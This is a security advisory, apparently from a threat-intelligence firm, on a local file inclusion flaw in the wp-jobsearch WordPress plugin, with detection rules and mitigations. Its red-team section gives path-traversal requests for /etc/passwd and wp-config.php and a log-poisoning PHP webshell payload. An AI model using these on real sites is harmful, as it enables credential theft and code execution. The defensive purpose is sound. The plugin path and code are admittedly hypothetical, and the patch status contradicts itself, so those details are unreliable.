CVE-2025-52806

Executive Summary

CVE-2025-52806 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Eyecix JobSearch WordPress plugin (slug: wp-jobsearch). The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file to obtain database credentials, or potentially achieving remote code execution if the attacker can upload a malicious file (e.g., via a separate file upload vulnerability) and then include it.

The vulnerability affects all versions of the plugin prior to 3.0.8. As of this report, no official patch has been released, and the vendor's status is marked as UNKNOWN/UNPATCHED. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the technical severity (CVSS 7.5) and the lack of a patch make this a high-priority issue for defenders.

Supply Chain & Package Security

This vulnerability is in a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is significant because:

• Widespread adoption: The plugin is used by many recruitment and job board websites.
• No patch available: Users cannot update to a secure version, forcing them to either disable the plugin or implement virtual patching.
• Potential for backdoor: If the plugin is abandoned, attackers could compromise the plugin's update channel to distribute malicious code.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (HIGH)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Sensitive files can be read.
• Integrity Impact: None (I:N) – File contents cannot be modified.
• Availability Impact: None (A:N) – The service is not disrupted.

Threat Level: HIGH. The ease of exploitation and the potential for data breach make this a critical vulnerability for any site running the vulnerable plugin.

Deep Dive & Mechanics

The vulnerability is a classic PHP Local File Inclusion (LFI). The plugin likely uses a user-supplied parameter (e.g., page, file, template) in a PHP include() or require() statement without proper sanitization or validation. An attacker can manipulate this parameter to include arbitrary files from the server's filesystem.

Example vulnerable code pattern:

$file = $_GET['file'];
include($file . '.php');

By sending a request like:

GET /wp-content/plugins/wp-jobsearch/some-page.php?file=../../../../etc/passwd

The attacker can read the /etc/passwd file. More critically, they can read wp-config.php to obtain database credentials.

Why it's dangerous:

• Information Disclosure: Read sensitive files like /etc/passwd, /proc/self/environ, or application source code.
• Remote Code Execution (RCE): If the attacker can upload a file (e.g., via a separate file upload vulnerability or by poisoning log files), they can include that file to execute arbitrary PHP code.

Vulnerable vs. Patched Code

Since no official patch is available, we can only hypothesize the fix. The patched code would likely include:

Vulnerable Code (hypothetical):

$file = $_GET['file'];
include( $file . '.php' );

Patched Code (hypothetical):

$allowed_files = array( 'page1', 'page2', 'page3' );
$file = $_GET['file'];
if ( in_array( $file, $allowed_files ) ) {
    include( $file . '.php' );
} else {
    // Handle error
}

The patch would implement a whitelist of allowed files or use realpath() to resolve the path and ensure it is within an allowed directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the vulnerable plugin (version < 3.0.8).
• Knowledge of the plugin's file structure.

Exploitation Steps:

1. Identify the vulnerable parameter: Use a web fuzzer (e.g., Burp Suite, ffuf) to find parameters that cause file inclusion errors. Common parameters: page, file, template, include.

2. Craft the payload: Use path traversal to read sensitive files.

   GET /wp-content/plugins/wp-jobsearch/some-page.php?file=../../../../etc/passwd
   

3. Read wp-config.php:

   GET /wp-content/plugins/wp-jobsearch/some-page.php?file=../../../../wp-config
   

4. Attempt RCE via log poisoning:

   • Inject PHP code into the Apache access log by sending a malicious User-Agent:

     User-Agent: <?php system($_GET['cmd']); ?>
     

   • Then include the log file:

     GET /wp-content/plugins/wp-jobsearch/some-page.php?file=../../../../var/log/apache2/access.log&cmd=id
     

Proof of Concept (PoC) using curl:

curl -v "http://target.com/wp-content/plugins/wp-jobsearch/some-page.php?file=../../../../etc/passwd"

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e%2f).
2. Deploy a WAF rule to block requests containing file= followed by path traversal sequences.
3. Use file integrity monitoring to detect unauthorized changes to plugin files.

Honeypot Strategy:

• Create a fake wp-config.php file with a unique string (e.g., HONEYPOT_STRING).
• Monitor for any access to this file via LFI.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing file=../../../../ or similar path traversal patterns.
• Requests to /wp-content/plugins/wp-jobsearch/ with suspicious parameters.

File System IOCs:

• Unexpected inclusion of files like /etc/passwd, /proc/self/environ, or wp-config.php in web server logs.
• Presence of PHP shells or backdoors in the uploads directory.

Log IOCs:

• Apache/Nginx access logs showing GET /wp-content/plugins/wp-jobsearch/...?file=...
• PHP error logs showing include(): Failed opening '...' for inclusion

Detection Engineering

YARA Rule

rule CVE_2025_52806_LFI_JobSearch {
    meta:
        description = "Detects attempts to exploit CVE-2025-52806 in wp-jobsearch plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52806"
    strings:
        $path_traversal = /file=\.\.\/\.\.\/\.\.\/\.\.\//
        $wp_config = /file=.*wp-config/
        $etc_passwd = /file=.*etc\/passwd/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-52806 - JobSearch LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts targeting the wp-jobsearch plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'file=../'
            - 'file=%2e%2e%2f'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-52806 - JobSearch LFI Attempt";
    flow:to_server,established;
    content:"/wp-content/plugins/wp-jobsearch/"; http_uri;
    content:"file="; http_uri;
    pcre:"/file=(\.\.\/|%2e%2e%2f)/i";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to business operations.
2. Implement a virtual patch using a Web Application Firewall (WAF) to block path traversal patterns.
3. Restrict file permissions on sensitive files (e.g., wp-config.php should be readable only by the web server user).

Long-term Fix:

• The vendor must release a patched version (3.0.8 or later) that implements proper input validation and whitelisting.
• Until then, consider migrating to an alternative job board plugin.

Compensating Controls:

• Enable open_basedir in PHP to restrict file inclusion to specific directories.
• Use a security plugin like Wordfence to detect and block LFI attempts.

Valters IT – DevSecOps & Cyber Threat Intelligence